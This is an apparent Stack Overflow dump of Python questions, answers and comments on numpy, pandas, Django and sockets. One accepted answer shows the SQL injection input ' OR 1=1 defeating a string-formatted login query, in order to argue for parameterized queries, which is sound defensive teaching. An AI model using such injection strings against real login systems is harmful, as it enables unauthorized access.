has body: Are you selecting your mini-batches randomly? It looks like you have a high variance across your mini-batches which leads to a high variance of the loss at different iterations. I assume the x-axis in your plot is iterations and not epochs and the training data provided every ~160 iterations is harder to predict which leads to the periodic drop in your loss curve. How does your validation loss behave? Possible solutions/ideas: try randomizing your training data selection in a better way Check your training data for mislabeled examples
has comment: http://stackoverflow.com/comment/84611863
downvote count: 0
has comment: http://stackoverflow.com/comment/84612238
has comment: http://stackoverflow.com/comment/84613019
has comment: http://stackoverflow.com/comment/84612744
type: Answer
score: 1

http://stackoverflow.com/q/48717740
has comment: http://stackoverflow.com/comment/84434647
has comment: http://stackoverflow.com/comment/84434880
has comment: http://stackoverflow.com/comment/84434600
type: AnsweredQuestion
has body: I am going through Flask source. I see a lot of statements like from . import x I am not Python novice so I understand what from and import keywords do. But what is from . ? Could someone explain with an example? Edit1: My question is about just import . not import .module Edit2: how is from . import x different from from import x
linked to: http://stackoverflow.com/q/7417353
has title: how is "from . import json" different from " import json"?
linked to: http://stackoverflow.com/q/22511792
has comment: http://stackoverflow.com/comment/84434572
has comment: http://stackoverflow.com/comment/84434811
has comment: http://stackoverflow.com/comment/84434596
has comment: http://stackoverflow.com/comment/84434627
type: Question
has answer: http://stackoverflow.com/a/48717992
has answer: http://stackoverflow.com/a/48717993
tagged with: python
accepted answer: http://stackoverflow.com/a/48717992
possible better answer: http://stackoverflow.com/a/48717993
has comment: http://stackoverflow.com/comment/84434743
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84434604

http://stackoverflow.com/q/48727939
upvote count: 2
has answer: http://stackoverflow.com/a/48728198
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84455071
has comment: http://stackoverflow.com/comment/84455139
tagged with: arrays
has body: I have a list with 2940 elements - each element is a (60, 2094) numpy array. print('DataX:') print('len:') print(len(dataX)) print('shape:') for i in range(5): print(dataX[i].shape) print('dtype:') print(dataX[0].dtype) print('size',sys.getsizeof(dataX)/1000000) results in : DataX: len: 2940 shape: (60, 2094) (60, 2094) (60, 2094) (60, 2094) (60, 2094) dtype: float64 size 0.023728 However, if I try to turn this in to a numpy array (which should result in a shape of (2940, 60, 2094), the size of the array is much, much larger. #convert list to array X = np.array(dataX) print('X:') print('shape', X.shape) print('size',sys.getsizeof(X)/1000000) Output: DataX: shape (2940, 60, 2094) size 2955.052928 Why is this the case? If I try it with a bigger dataset, I end up with the "Memory" error.
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84455271
favorite count: 0
type: UnansweredQuestion
tagged with: python
score: 2
has title: converting a list to numpy array resulting much larger memory than expected

http://stackoverflow.com/q/48764607
has comment: http://stackoverflow.com/comment/84530280
tagged with: indexing
has comment: http://stackoverflow.com/comment/84529865
has body: Suppose we have an input array with some (but not all) nan values from which we want to write into a nan-initialized output array. After writing non-nan data into the output array there are still nan values and I don't understand at all why: # minimal example just for testing purposes import numpy as np # fix state of seed np.random.seed(1000) # create input array and nan-filled output array a = np.random.rand(6,3,5) b = np.zeros((6,3,5)) * np.nan x = [np.arange(6),1,2] # select data in one dimension with others fixed y_temp = a[x] # set arbitrary index to nan y_temp[1] = np.nan ind_valid = ~np.isnan(y_temp) # select non-nan values y = y_temp[ind_valid] # write input to output at corresponding indices b[x][ind_valid] = y print b[x][ind_valid] # surprise, surprise :( # [ nan nan nan nan nan nan] # workaround (that will of course cost computation time, even if not much) c = np.zeros(len(y_temp)) * np.nan c[ind_valid] = y b[x] = c print b[x][ind_valid] # and this is what we want to have # [ 0.39719446 nan 0.39820488 0.68190824 0.86534558 0.69910395] I thought the array b would reserve some block in memory and by indexing with x it "knows" those indices. Then it should also know them when selecting only some of them with ind_valid and be able to write into exactly those bit addresses in memory. No idea, but maybe it's sth. similar as python nested list unexpected behaviour? Please explain and maybe also provide a nice solution instead of the proposed workaround! Thanks!
type: Question
tagged with: numpy
score: 0
tagged with: arrays
has comment: http://stackoverflow.com/comment/84529992
has comment: http://stackoverflow.com/comment/84530141
tagged with: python
has comment: http://stackoverflow.com/comment/84529787
linked to: http://stackoverflow.com/q/35421624
tagged with: memory-management
has comment: http://stackoverflow.com/comment/84530252
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84530184
has title: Python nested array indexing - unexpected behaviour

http://stackoverflow.com/q/48749671
upvote count: 3
has answer: http://stackoverflow.com/a/48749758
favorite count: 0
has comment: http://stackoverflow.com/comment/84499762
possible better answer: http://stackoverflow.com/a/48749788
has answer: http://stackoverflow.com/a/48754816
accepted answer: http://stackoverflow.com/a/48754816
tagged with: python
has title: Numpy average position without looping?
answer count: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84500673
downvote count: 0
type: Question
tagged with: numpy
score: 3
has answer: http://stackoverflow.com/a/48754193
has body: Assume I have a matrix which is N items long x M columns long (where M&lt;=N). I want to know the average rank for each of the N across the M columns. arr = np.array([ [0,1], [2,0], [1,2] ]) I could loop through each of the N values and do something like the following, but I'm wondering whether there's a better approach to this for n in range(3): np.where(arr==n)[0].mean() Edit Sorry, it seems my choice of example has caused some confusion. To better illustrate, let me swap in letters since the values in the matrix are identifiers, not numbers to be calculated on. arr = np.array([ ['A','B'], ['C','A'], ['B','C'] ]) I am not trying to do a simple row-wise average. I'm trying to say that A average rank is 0.5 (0 + 1) / 2 B average rank is 1.0 (0 + 2) / 2 C average rank is 1.5 (1 + 2) / 2 Hopefully this clarified my request
has answer: http://stackoverflow.com/a/48749788
has comment: http://stackoverflow.com/comment/84501834
has comment: http://stackoverflow.com/comment/84500901

http://stackoverflow.com/q/48769682
type: Question
has answer: http://stackoverflow.com/a/62003889
downvote count: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/48769980
answer count: 4
has body: I have used the following code to convert the sk learn breast cancer data set to data frame : I am not getting the output ? I am very new in python and not able to figure out what is wrong. def answer_one(): import numpy as np import pandas as pd from sklearn.datasets import load_breast_cancer cancer = load_breast_cancer() data = numpy.c_[cancer.data, cancer.target] columns = numpy.append(cancer.feature_names, ["target"]) return pandas.DataFrame(data, columns=columns) answer_one()
score: 8
favorite count: 0
upvote count: 8
has answer: http://stackoverflow.com/a/59254464
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/38105539
tagged with: python
has answer: http://stackoverflow.com/a/61295517
has title: How do I convert data from a Scikit-learn Bunch object to a Pandas DataFrame?

http://stackoverflow.com/q/48701827
tagged with: numpy
has body: I have this issue, I'm trying to build a 3D array where I need later to overwrite eg. [:,:,5] with a value from a 1D array. My arrays look like this in numpy: 3D: [[[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]] [[ 0. 150. 10. 300. 25. 0.] [ 1. 25. 2. 75. 7. 0.] [ 4. 0. 0. 0. 0. 0.] [ 5. 0. 0. 0. 0. 0.]]] 1D: [ 1806. 1092. 150. 150. 2669. 150. 150. 150. 310. 7181.85] .. and what I want is this: 3d[0][0][5] = 1d[0] 3d[0][1][5] = 1d[0] 3d[0][2][5] = 1d[0] 3d[0][3][5] = 1d[0] 3d[1][0][5] = 1d[1] 3d[1][1][5] = 1d[1] 3d[1][2][5] = 1d[1] 3d[1][3][5] = 1d[1] and so on. I have been trying somthing like this: list_product_pricegroup[:,:,5] = migrete_array[:] without any kind of luck, hope someone can guide me in the right direction.
score: 0
tagged with: arrays
answer count: 1
has answer: http://stackoverflow.com/a/48702021
tagged with: python
has title: numpy - 1 field value in 3d array from a 1d array
has comment: http://stackoverflow.com/comment/84402226
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48702021
type: Question

http://stackoverflow.com/comment/84592411
comment on: http://stackoverflow.com/q/48793661
score: 0
type: Comment
type: QuestionComment
has text: So i'm getting the same error you are, but when i dig deeper, it's showing "Token_Invalid". The sample file they provide isn't very good. And i see you are getting the same problem. So it's not the code, it's the token.

http://stackoverflow.com/comment/84566188
type: Comment
has text: For the purposes of the the example I have simplified the case statement in the hybrid prop. The bit I'm not sure about is the column_property bit on the Student model, is that sensible?
comment on: http://stackoverflow.com/q/48776580
score: 1
type: QuestionComment

http://stackoverflow.com/a/48794941
has comment: http://stackoverflow.com/comment/84592605
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48782151
answers question: http://stackoverflow.com/q/48782151
has comment: http://stackoverflow.com/comment/84592794
has comment: http://stackoverflow.com/comment/84592560
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84592691
has comment: http://stackoverflow.com/comment/84592351
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84592862
has body: TL;TR: the problem is unrelated to NAT. It is instead about less specific vs,. more specific bindings on sockets. You have two clients on the same system: client_recv.pl is bound to 0.0.0.0: UDP_IP = '0.0.0.0'#my ip address in the local network client_send.pl is initially explicitly bound to 0.0.0.0 too: sock.bind(('0.0.0.0', 5000)) But the socket will be internally re-bound to the outgoing IP of your local system in order to send the packet with the correct outgoing IP address:: sock.sendto(MESSAGE + ' # ' + str(i), (UDP_IP, UDP_PORT)) Note that you cannot see this new binding in netstat, it seems to be deeper in the kernel. This means you end up with two sockets: client_recv.pl has a socket bound to 0.0.0.0:5000 client_send.pl has a socket bound to your-local-ip:5000 If a packet arrives from the server it goes to the most specific socket, i.e. the one from client_send.pl. Thus client_recv.pl never receives the packet. If you instead change the IP address in client_recv.pl to the IP of your local system you get two sockets, both bound to your-local-ip:5000. Since there is no most specific socket in this case the packet is actually delivered to the first one which reads it, in your case client_recv.pl.
has comment: http://stackoverflow.com/comment/84592423

http://stackoverflow.com/comment/84588596
type: Comment
has text: Yeah I do sorry new to all of this but I will put the last bit of code that gives me my master dict in my OP as I cannot share my test file.
type: AnswerComment
comment on: http://stackoverflow.com/a/48792434
score: 0

http://stackoverflow.com/q/48800874
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84610083
score: 1
has comment: http://stackoverflow.com/comment/85586348
has comment: http://stackoverflow.com/comment/84605038
favorite count: 0
has comment: http://stackoverflow.com/comment/84604680
has body: I have a file wherein there are two names of "CA", but I need only the "CA" corresponding to 1GLY and all the "OW". Here is my following file: Generated by trjconv : 1GLY N 1 1.081 1.128 1.298 1GLY H2 2 1.095 1.126 1.401 1GLY H3 3 1.020 1.211 1.285 1GLY CA 4 1.204 1.158 1.219 1GLY O 5 1.322 1.290 1.382 2GLY N 6 1.265 1.392 1.193 2GLY CA 7 1.324 1.520 1.234 2GLY HA1 8 1.417 1.511 1.288 2GLY HA2 9 1.334 1.573 1.141 3SOL OW 10 1.351 1.298 2.103 3SOL HW1 11 1.375 1.395 2.102 3SOL HW2 12 1.274 1.282 2.041 4SOL OW 13 1.568 0.586 2.355 4SOL HW1 14 1.643 0.623 2.410 4SOL HW2 15 1.513 0.661 2.319 5SOL OW 16 2.107 1.692 1.802 5SOL HW1 17 2.064 1.627 1.740 5SOL HW2 18 2.074 1.784 1.781 and so on.. So here is my python code: import re k=0 F=open('abc.dat','r') A=open('def.dat','w') with open ('abc.dat') as F: for x in F: line=x.strip() if line.startswith("Generated by"): k=k+1 if re.search('CA|OW', line): A.write(str(k) + '\t') for i in range(22,44): A.write(x[i]) A.write('\n') But I am getting the output(the x,y,z coordinates) for both the CA's and Ow's ie., 1 1.204 1.158 1.219 1 1.324 1.520 1.234 1 1.351 1.298 2.103 1 1.568 0.586 2.355 1) But I don't want the coordinates of 2GLY CA (ie.,1 1.324 1.520 1.234). 2) How can i multiply by 10 in the code (since the values are in nanometers and i want to convert into Angstroms) and get the output in Angstroms. So, how do i fix this issue? Any suggestions are appreciated.
type: UnansweredQuestion
has title: Get specific line and its coordinates in python
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84609923
has comment: http://stackoverflow.com/comment/84609957
has answer: http://stackoverflow.com/a/48801113
type: Question
has comment: http://stackoverflow.com/comment/84604632

http://stackoverflow.com/a/48669473
upvote count: 2
has comment: http://stackoverflow.com/comment/84342891
type: Answer
has comment: http://stackoverflow.com/comment/84343249
has comment: http://stackoverflow.com/comment/84341979
has body: I am using wide_to_long flatten the df , then using factorize+unstack s=pd.wide_to_long(df.reset_index(),stubnames=['Countries','Cities'],i='index',j='unstack',sep=' ').apply(lambda x : pd.factorize(x)[0]+1).unstack() s.columns=s.columns.map('{0[0]} {0[1]}'.format) s=s.reindex(columns=df.columns) s Out[1377]: Countries 1 Cities 1 Countries 2 Cities 2 index 0 1 1 3 3 1 2 2 1 4 Or get_dummies s=pd.get_dummies(pd.wide_to_long(df.reset_index(),stubnames=['Countries','Cities'],i='index',j='unstack',sep=' ')) s Out[1392]: Countries_France Countries_Italy Countries_Sweden \ index unstack 0 1 1 0 0 1 1 0 1 0 0 2 0 0 1 1 2 1 0 0 Cities_Bupapest Cities_Frankfurt Cities_Naples Cities_Paris index unstack 0 1 1 0 0 0 1 1 0 1 0 0 0 2 0 0 0 1 1 2 0 0 1 0
has comment: http://stackoverflow.com/comment/84342172
score: 2
has comment: http://stackoverflow.com/comment/84343325
has comment: http://stackoverflow.com/comment/84344293
has comment: http://stackoverflow.com/comment/84345192
has comment: http://stackoverflow.com/comment/84343858
has comment: http://stackoverflow.com/comment/84336949
has comment: http://stackoverflow.com/comment/84343057
has comment: http://stackoverflow.com/comment/84343495
has comment: http://stackoverflow.com/comment/84336829
downvote count: 0
answers question: http://stackoverflow.com/q/48669165
has comment: http://stackoverflow.com/comment/84357161

http://stackoverflow.com/comment/84339874
type: Comment
has text: @tjones You can check https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.apply.html, axis=0 means row axis=1 means column :-)
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48670545

http://stackoverflow.com/q/48710094
linked to: http://stackoverflow.com/q/21079820
type: Question
has answer: http://stackoverflow.com/a/48710959
has comment: http://stackoverflow.com/comment/84420394
has comment: http://stackoverflow.com/comment/84419166
has comment: http://stackoverflow.com/comment/84419335
downvote count: 0
tagged with: postgresql
answer count: 3
linked to: http://stackoverflow.com/q/49062045
has answer: http://stackoverflow.com/a/49192681
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48710763
has comment: http://stackoverflow.com/comment/84420191
has comment: http://stackoverflow.com/comment/84419697
has title: Illegal instruction: 4 when running Django
tagged with: django
tagged with: python
tagged with: psycopg2
has comment: http://stackoverflow.com/comment/84419963
accepted answer: http://stackoverflow.com/a/48710959
has body: I made clean install of Django v1.11.10 now. When I run python manage.py runserver everything works fine. But when I try connect to Postgres database, I install package pip install psycopg2, modify DATABASES varibale and after running runserver command it fails with Illegal instruction error: Performing system checks... System check identified no issues (0 silenced). Illegal instruction: 4 What is it? How to get log error? I use Mac OS 10.11.6, PostgresApp (tried on v9 and v10 server to check error source). Python 3.6.4 (via virtualenv). DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': 'mydb', 'USER': 'sirjay', 'PASSWORD': '', 'HOST': 'localhost', 'PORT': '', } } Error is the same if I set NAME or USER incorrect or even if I turn off Postgres.app server. It's like Django does not see Postgres. But with phpPgAdmin I can connect to Postgres server.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84420513
possible better answer: http://stackoverflow.com/a/49192681
score: 1

http://stackoverflow.com/q/48754015
tagged with: python
linked to: http://stackoverflow.com/q/7681786
has title: What determines the id (memory address) of None and can it change?
answer count: 0
duplicate of: http://stackoverflow.com/q/7681786
upvote count: 3
type: UnansweredQuestion
tagged with: cpython
downvote count: 2
type: Question
has comment: http://stackoverflow.com/comment/84509000
score: 1
tagged with: http://stackoverflow.com/tag/c
tagged with: memory
has comment: http://stackoverflow.com/comment/84510430
has body: I've noticed that id(None) gives different results on different machines, but is there any chance the id of None would ever change on a single machine? I understand what id does, but I'm wondering how dynamic the underlying memory addresses are for None. More specifically, as juanpa said: Can any C-people explain why a C-global doesn't change addresses even on different runs of the interpreter? Even if I have two different interpreter processes running?
has comment: http://stackoverflow.com/comment/84508860
has comment: http://stackoverflow.com/comment/84510421
favorite count: 0
has comment: http://stackoverflow.com/comment/84509080

http://stackoverflow.com/q/48684146
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/48684216
type: Question
accepted answer: http://stackoverflow.com/a/48684216
tagged with: dataframe
has title: Python pandas dataframe reshape
tagged with: pandas-groupby
tagged with: pandas
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/37653779
favorite count: 0
tagged with: python
type: AnsweredQuestion
has body: I am new to python and dataframes. I have a dataframe with the following structure: ID |DATE |COLUMN_1|COLUMN_2|COLUMN_3| ID_1 |2017-04-01 |VALA |VALB |VALC | ID_1 |2016-12-31 |VALD |VALE |VALF | ID_1 |2016-09-24 |VALG |VALH |VALI | ID_2 |2008-06-30 |VALJ |VALK |VALL | ID_2 |2008-03-31 |VALM |VALN |VALO | ID_2 |2007-12-31 |VALP |VALQ |VALR | ID_2 |2007-09-30 |VALS |VALT |VALU | ID_3 |2017-04-01 |VALV |VALW |VALY | ID_3 |2016-12-31 |VALZ |VALZ1 |VALZ2 | I need to reshape it, so that it gets grouped by the Date column sorted descending, and all combinations of ID + existing columns are expanded to new columns. The header and the data should look something like this: DATE_GROUP|ID_1_COLUMN_1|ID_1_COLUMN_2|ID_1_COLUMN_3| ID_2_COLUMN_1|ID_2_COLUMN_2|ID_2_COLUMN_3|ID_3_COLUMN_1|ID_3_COLUMN_2|ID_3_COLUMN_3| 2017-04-01|VALA|VALB|VALC|NONE|NONE|NONE|VALV|VALW|VALY| 2016-12-31|VALD|VALE|VALF|NONE|NONE|NONE|VALZ|VALZ1|VALZ2| 2016-09-24|VALG|VALH|VALI|NONE|NONE|NONE|NONE|NONE|NONE| 2008-06-30|NONE|NONE|NONE|VALJ|VALK|VALL|NONE|NONE|NONE 2008-03-31|NONE|NONE|NONE|VALM|VALN|VALO|NONE|NONE|NONE 2007-12-31|NONE|NONE|NONE|VALP|VALQ|VALO|NONE|NONE|NONE 2007-09-30|NONE|NONE|NONE|VALS|VALT|VALU|NONE|NONE|NONE Had a look at here which got me started but couldn't quite get to the same output structure.

http://stackoverflow.com/comment/84535241
score: 0
type: Comment
type: QuestionComment
has text: Possible duplicate of [How to get string objects instead of Unicode from JSON?](https://stackoverflow.com/questions/956867/how-to-get-string-objects-instead-of-unicode-from-json)
comment on: http://stackoverflow.com/q/48767428

http://stackoverflow.com/q/48769705
type: UnansweredQuestion
tagged with: django
tagged with: python
type: Question
has title: Getting RIGHT JOIN with intermediate table with Django ORM?
score: 0
answer count: 1
has body: I have these models: class Region(models.Model): region_name = models.CharField(max_length=64) def __str__(self): return self.region_name class GameRegionRelease(models.Model): region = models.ForeignKey( Region, on_delete=models.CASCADE, verbose_name='region' ) game = models.ForeignKey( Game, on_delete=models.CASCADE, verbose_name='game' ) release_date = models.DateField( verbose_name='release date', default=None ) class Game(models.Model): game_name = models.CharField(max_length=512) release_dates = models.ManyToManyField( Region, related_name='game_release_dates', through='GameRegionRelease' ) What I'm looking to get is every region listed for every game, even if there is no region data for that game. So the results would be Game x Region, with the region data filled in by GameRegionRelease where available. I'd want something similar to what the following would produce: SELECT * FROM gameslist_region gr CROSS JOIN gameslist_game gg LEFT JOIN gameslist_gameregionrelease grr ON gg.game_name = grr.game_id AND gr.region_name = grr.region_id; But I don't know how to express this in Django using native ORM constructs. Is this possible? I'm using Python 3.6.4 and Django 2.0.2.
has answer: http://stackoverflow.com/a/48770540

http://stackoverflow.com/q/48715829
answer count: 2
has comment: http://stackoverflow.com/comment/84430953
tagged with: python-3.5
score: -2
has answer: http://stackoverflow.com/a/48715859
has comment: http://stackoverflow.com/comment/84431233
possible better answer: http://stackoverflow.com/a/48715859
favorite count: 0
has answer: http://stackoverflow.com/a/48715862
has title: Why doesn't python send output to stdout?
upvote count: 1
tagged with: output
tagged with: python
type: AnsweredQuestion
has body: Here's a minimum working example (MWE), saved as mwe.py: import sys def f(n): print("Testing print()...") sys.stdout.write("Calculating f({})...".format(n)) When run from the command line I get no output whatsoever: username@hostname:~/mydir$ python mwe.py 'f(99)' username@hostname:~/mydir$ When run from within python I get output (some info removed): username@hostname:~/mydir$ python Python 3.5.4 (default, DATE, HH:MM:SS) [GCC X.X.X Compatible Apple LLVM X.X.X (clang-X.X.X)] on darwin Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; from mwe import f &gt;&gt;&gt; f(99) Testing print()... Calculating f(99)... &gt;&gt;&gt; Why do these output statements work within python but not from the command line?
downvote count: 3
tagged with: stdout
accepted answer: http://stackoverflow.com/a/48715862
type: Question

http://stackoverflow.com/a/48774801
type: Answer
accepted answer of: http://stackoverflow.com/q/48774731
has body: data['last'] is a float, not some iterable of strings. Just use str(data['last']) @client.event async def on_ready(): print('Logged in as') print(client.user.name) print(client.user.id) print('------') last = str(data['last']) price = print('PLSR Price:', last) await client.change_presence(game=discord.Game(name="PLSR Price: " + last))
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48774731
score: 0

http://stackoverflow.com/a/48727782
has comment: http://stackoverflow.com/comment/84454687
has comment: http://stackoverflow.com/comment/84454593
has comment: http://stackoverflow.com/comment/84454504
type: Answer
answers question: http://stackoverflow.com/q/48727765
upvote count: 1
has body: You could try checking the values of the points before annotating them. For example for i, txt in enumerate(names): if x[i] &gt; 2 and y[i] &gt; 2: ax.annotate(txt, (x[i], y[i]), alpha=0.6)
score: 1
downvote count: 0

http://stackoverflow.com/a/48650140
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84298003
answers question: http://stackoverflow.com/q/48650038
downvote count: 0
has body: weakref is a standard lib from python, therefore it means that currently your python env is broken. Try to look into this: https://askubuntu.com/questions/907035/importerror-cannot-import-name-remove-dead-weakref

http://stackoverflow.com/a/48653399
upvote count: 8
type: Answer
has comment: http://stackoverflow.com/comment/84307701
score: 8
accepted answer of: http://stackoverflow.com/q/48653106
answers question: http://stackoverflow.com/q/48653106
has body: First of all: NEVER DIRECTLY INSERT YOUR DATA INTO YOUR QUERY STRING! Using %s in a MySQL query string is not the same as using it in a python string. In python, you just format the string and 'hello %s!' % 'world' becomes 'hello world!'. In SQL, the %s signals parameter insertion. This sends your query and data to the server separately. You are also not bound to this syntax. The python DB-API specification specifies more styles for this: DB-API parameter styles (PEP 249). This has several advantages over inserting your data directly into the query string: Prevents SQL injection Say you have a query to authenticate users by password. You would do that with the following query (of course you would normally salt and hash the password, but that is not the topic of this question): SELECT 1 FROM users WHERE username='foo' AND password='bar' The naive way to construct this query would be: "SELECT 1 FROM users WHERE username='{}' AND password='{}'".format(username, password) However, what would happen if someone inputs ' OR 1=1 as password. The formatted query would then become SELECT 1 FROM users WHERE username='foo' AND password='' OR 1=1 which will allways return 1. When using parameter insertion: execute('SELECT 1 FROM users WHERE username=%s AND password=%s', username, password) this will never happen, as the query will be interpreted by the server separately. Performance If you run the same query many times with different data, the performance difference between using a formatted query and parameter insertion can be significant. With parameter insertion, the server only has to compile the query once (as it is the same every time) and execute it with different data, but with string formatting, it will have to compile it over and over again.
has comment: http://stackoverflow.com/comment/84305151
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84305482

http://stackoverflow.com/comment/84350799
comment on: http://stackoverflow.com/q/48676147
score: 1
has text: This smells of xy problem.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48716678
score: 1
type: Question
accepted answer: http://stackoverflow.com/a/48716716
answer count: 1
downvote count: 0
favorite count: 0
has title: Python AssertionError creating a class
has answer: http://stackoverflow.com/a/48716716
has body: I have a class User, and a class Theme. The user class can create a Theme, add a Theme to the Theme's dictionary, and should be able to return the dictionary of themes. I'm really new to python so I'm having trouble with the python logic/syntax class User: def __init__(self, name): self.themes = {} def createTheme(self, name, themeType, numWorkouts, themeID, timesUsed): newTheme = Theme(name, themeType, numWorkouts, themeID, timesUsed) return newTheme and my Theme class: class Theme: def __init__(self, name, themeType, numWorkouts, themeID, timesUsed): #themeType: 1 = genre, 2 = artist, 3 = song self.name = name self.themeType = themeType self.numWorkouts = numWorkouts self.themeID = themeID self.timesUsed = timesUsed I run the test in testUser: ## test createTheme theme1 = Theme("theme", 2, 5, 1, 0) self.assertEqual(usr1.createTheme("theme", 2, 5, 1, 0), theme1) but I get - Traceback (most recent call last): File "/Tests/testUser.py", line 52, in test self.assertEqual(usr1.createTheme("theme", 2, 5, 1, 0), theme1) AssertionError: != I am not sure what I'm doing wrong, can anyone please help? (Also, I have the following methods in User, but haven't been able to test them yet since my createTheme doesn't work, but I could use some help to see if there are errors in my logic/syntax: # returns dict # def getThemes(self): # return self.themes # # def addTheme(self, themeID, theme): # if theme not in self.themes: # themes[themeID] = theme # # def removeTheme(self, _theme): # if _theme.timesUsed == _theme.numWorkouts: # del themes[_theme.themeID]
upvote count: 1
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/q/48737941
type: Question
has body: I am not sure if this fits here. But I am about to calculate implied volatility of options using the vollib (py_vollib) / lets_be_rational python library. Anyway, one of the input factos is Sigma, explained as annualized std dev./volatility. They always choose 0.2 and I don't see any explanation. http://vollib.org/ The function implied_volatility_from_a_transformed_rational_guess_with_limited_iterations seems to be not depending on annualized volatility. Is this one a necessary input? I see some iterative code and cannot figure out if they use the binomial tree to calculate the implied volatility.
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/52118035
tagged with: python-3.x
has title: vollib: Sigma in calculation
type: UnansweredQuestion
tagged with: python
tagged with: volatility

http://stackoverflow.com/q/48681438
favorite count: 0
has answer: http://stackoverflow.com/a/48686221
accepted answer: http://stackoverflow.com/a/48686221
tagged with: python
has comment: http://stackoverflow.com/comment/84360056
type: AnsweredQuestion
score: -4
tagged with: multithreading
has comment: http://stackoverflow.com/comment/84360850
tagged with: global-variables
possible better answer: http://stackoverflow.com/a/48686000
type: Question
has comment: http://stackoverflow.com/comment/84360794
has answer: http://stackoverflow.com/a/48682414
has answer: http://stackoverflow.com/a/48686000
linked to: http://stackoverflow.com/q/24023601
upvote count: 3
answer count: 3
has body: I have two python scripts which import each other and access a variable defined in the first script. But changes made to this variable are not seen in the other module. Code with which the behavior can be reproduced: File a.py import time import b X = {} def set(): global X X[time.time()] = 1 def get(): global X return X if __name__ == '__main__': b.monitor() while True: time.sleep(1) set() File b.py: import threading import time from a import get def f(): while True: time.sleep(1) print get(), 'in b' def monitor(): t = threading.Thread(target=f) t.setDaemon(True) t.start() Run the program with python a.py. The result is: {} in b {} in b {} in b ... Expected output: {"1518106774": 1} in b {"1518106774": 1, "1518106775": 1} in b {"1518106774": 1, "1518106775": 1, "1518106776": 1} in b ... // etc ... where the keys are time.time() strings. I thought the global variable X should be able to be referenced wherever we want to. So why is X not updated in b.f even though the call to set is adding these keys to it?
has title: Access global variable across multiple modules and threads
downvote count: 7

http://stackoverflow.com/q/48735923
downvote count: 0
has body: I'd like to add custom input format for my DateTimeField. Is it possible to add custom input without hardcoding default inputs? class CustomForm(forms.Form): updated = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M:%S.%fZ']) I want to add the option that is above but this solution don't look good: class CustomForm(forms.Form): updated = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M:%S.%fZ', '%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M', '%m/%d/%y'])
answer count: 1
has title: How to expand existing input formats in forms.datetime field?
favorite count: 0
has answer: http://stackoverflow.com/a/48736144
upvote count: 2
tagged with: django
tagged with: python
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/48736144
type: Question

http://stackoverflow.com/comment/84548467
has text: I usually run test blocks twice. Once to check the values, and again for timing. But feel free to study the code for `%timeit` to see how it localizes the namespace. See https://stackoverflow.com/questions/48269712/ipython-timeit-local-variable-a-referenced-before-assignment for a variation on this problem (initializing a local variable).
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/48769703

http://stackoverflow.com/a/48737040
score: 1
upvote count: 1
